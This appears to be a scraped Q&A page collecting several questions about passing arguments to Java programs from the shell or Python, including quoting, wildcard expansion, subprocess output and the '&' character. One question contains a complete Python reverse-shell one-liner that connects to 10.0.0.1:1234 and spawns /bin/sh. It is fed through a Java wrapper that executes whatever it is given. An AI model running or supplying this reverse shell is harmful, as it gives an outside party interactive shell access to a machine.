Run Java Code Provided in Argument to CLI - java

I was wondering if it is possible to pass code as an argument to the Java CLI and have it compile and run the code in memory instead of having to write it to a file, compile the file, run the compiled file, then delete everything. If not, is there a way to emulate this behavior in a UNIX environment (Linux/macOS)?
Example:
> java --code 'public class Main { public static void main(String[] args) { System.out.println("Hello, world."); } }'

You can do it usin bash.
Basicaly it will look like this:
#!/bin/bash
while getopts ":c" opt; do
case $opt in
c)
echo $2 > ./Main.java
javac Main.java
;;
\?)
echo "Invalid option: -$OPTARG" >&2
;;
esac
done
It takes the argument c as code, saves it to temporary file and compiles. You can delete if it is unnecessary by adding rm Main.java later.

Related

How to run Java command line script through python to return object?

I have written a java class
public class Uploadfiles {
public static void main(String[] args) throws InterruptedException {
System.out.println(args[0]);
//uploadFile(args[0]);
}
I have converted it to jar by right click project>Export> Runable jar> Package required libraries into generated Jar.
I have run the command to execute through command line
java -classpath JavaSeleniumLibs.jar javaSeleniumClasses.Uploadfiles Test
The output is
Test
I wanted to run the same commandline script through python and i use the method below
import os
def runCommandline():
print os.system("java -classpath JavaSeleniumLibs.jar javaSeleniumClasses.Uploadfiles Test")
I wanted the output "Test" to be printed as when done from commandline. How to do it?
How to return value from the executed Java function? like "The script is successfully executed"? Can I return other objects from the java function to the python os.system command?

How to parse file patterns using Apache commons CLI

I'm trying to parse my command line arguments using the apache commons CLI. It might be a bit heavy handed for the example here, but it makes sense in the context of the program I'm creating. I'm trying to read a file pattern filter, similar to what grep uses to select files to process.
My Argument looks like this:
Program --input *.*
I've written a test program to see what the parser is seeing;
public static void main(String[] args) {
Options options = new Options();
options.addOption(new Option(INPUT_FILTER_SHORT, INPUT_FILTER_LONG, true, INPUT_FILTER_DESCRIPTION));
CommandLineParser parser = new BasicParser();
CommandLine cmd = parser.parse(options, args);
System.out.println(cmd.getOptionValue(INPUT_FILTER_SHORT));
}
This prints out:
.classpath
If I change my arguments to:
Program --input test.txt
I get the output:
test.txt
I'm assuming that I have to do something to tell apache commons what * is not a special character? I can't seem to find anything about this online.
I'm experiencing this on Windows (7). I'm fairly certain it's the *.* which is causing the issue as when I swap to using patterns that don't use *, the expected pattern shows up.
Your problem isn't really to do with Commons CLI, but to do with how the shell and the Java executable together process the parameters.
To eliminate other factors, and see what's going on, use a short Java program:
public class ArgsDemo {
public static void main(String[] args) {
for(int i=0; i<args.length; i++) {
System.out.println("" + i + ": " + args[i]);
}
}
}
Play with java ArgsDemo hello world, java ArgsDemo * etc. and observe what happens.
On UNIX and Linux:
Java does no special processing of *. However, the shell does. So if you did:
$ mkdir x
$ cd x
$ touch a b
$ java -jar myjar.jar MyClass *
... then MyClass.main() would be invoked with the parameter array ["a","b"] -- because the UNIX shell expands * to files in the current directory.
You can suppress this by escaping:
$ java -jar myjar MyClass * // main() sees ["*"])
(Note that a UNIX shell wouldn't expand *.* to .classpath because this form would ignore "hidden" files starting with .)
On Windows
cmd.exe does not do UNIX-style wildcard expansion. If you supply * as a parameter to a command in Windows, the command gets a literal *. So for example, PKUNZIP *.zip passes *.zip to PKUNZIP.EXE, and it's up to that program to expand the wildcard if it wants to.
Since some release of Java 7, the Java executable for Windows does some wildcard to filename expansion of its own, before passing the parameters to your main() class.
I've not been able to find clear documentation of Java-for-Windows' wildcard expansion rules, but you should be able to control it with quoting, escaping the quotes to prevent cmd.exe interpreting them:
> java.exe -jar myjar.jar MyClass """*.*"""
(Untested as I don't have a Windows box handy, and quoting in cmd.exe is a bit of a beast - do please experiment and either edit the above or leave a comment)

Passing Python statements as command line args to Java program

Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.

How can I get output from subprocess.check_output if the subprocess is a java program(with Command-line arguments)?

I have the following java code: (HelloWorld.class is in bin folder):
package Hello;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello World" + args[1]);
}
}
I want to call this java code from a python script and pass some command-line arguments to it.
So my python code is:
cmd = ["java","-classpath","bin/","Hello.HelloWorld","arguement1","arguement2"]
try:
print subprocess.check_output(cmd,stderr=subprocess.STDOUT)
except: subprocess.CalledProcessError:
print ('calling '+ ' '.join(cmd) +' failed\n')
If I run this code, I will get the no output from java code, and also get output "calling java -classpath bin/ Hello.HelloWorld arguement1 arguement2 failed".
But if I run:
java -classpath bin/ Hello.HelloWorld arguement1 arguement2
in terminal, the java code will print the string.
So where is wrong of my python code?
You don't see the output because both stdout and stderr are captured by check_output(stderr=STDOUT) and java exits with a non-zero exit status that leads to the exception and that is why you see ".. failed" message.
To get subprocess' output in the exception handler except CalledProcessErrror as e:, access e.output attribute.
If you don't need to capture the output then just call call() instead:
import subprocess
subprocess.check_call(cmd)

Split rule of args in main function in Java?

Here is a strange problem I ran into:
I create a single program to print all the received args, Here is the code:
public class Test {
public static void main(String[] args) {
for (int i = 0; i < args.length; i ++) {
System.out.println(args[i]);
}
}
}
Then I built a jar file of it and ran the following command:
java -jar test.jar test&1
However, it didn't print "test&1" as expected. The result of it is:
test
'1'is not recognized as an internal or external command,operable program or batch file.
So my question is: what is the seperation of args? If I really need to receive "test&1", what should I do?
Thanks!
It's nothing to do with Java. The & character is special to the Windows shell (I can tell it's Windows from the error message): It separates two commands on one line, so what you're doing is telling the shell to run java -jar test.jar test and then run 1. If you want to pass test&1 to Java, you'll have to put it in quotes:
java -jar test.jar "test&1"
The & is also special on *nix shells (but in a different way, it runs the command in a sub-shell). There, you could use quotes as above, or put an \ before the & instead. But not on Windows.

Categories

Resources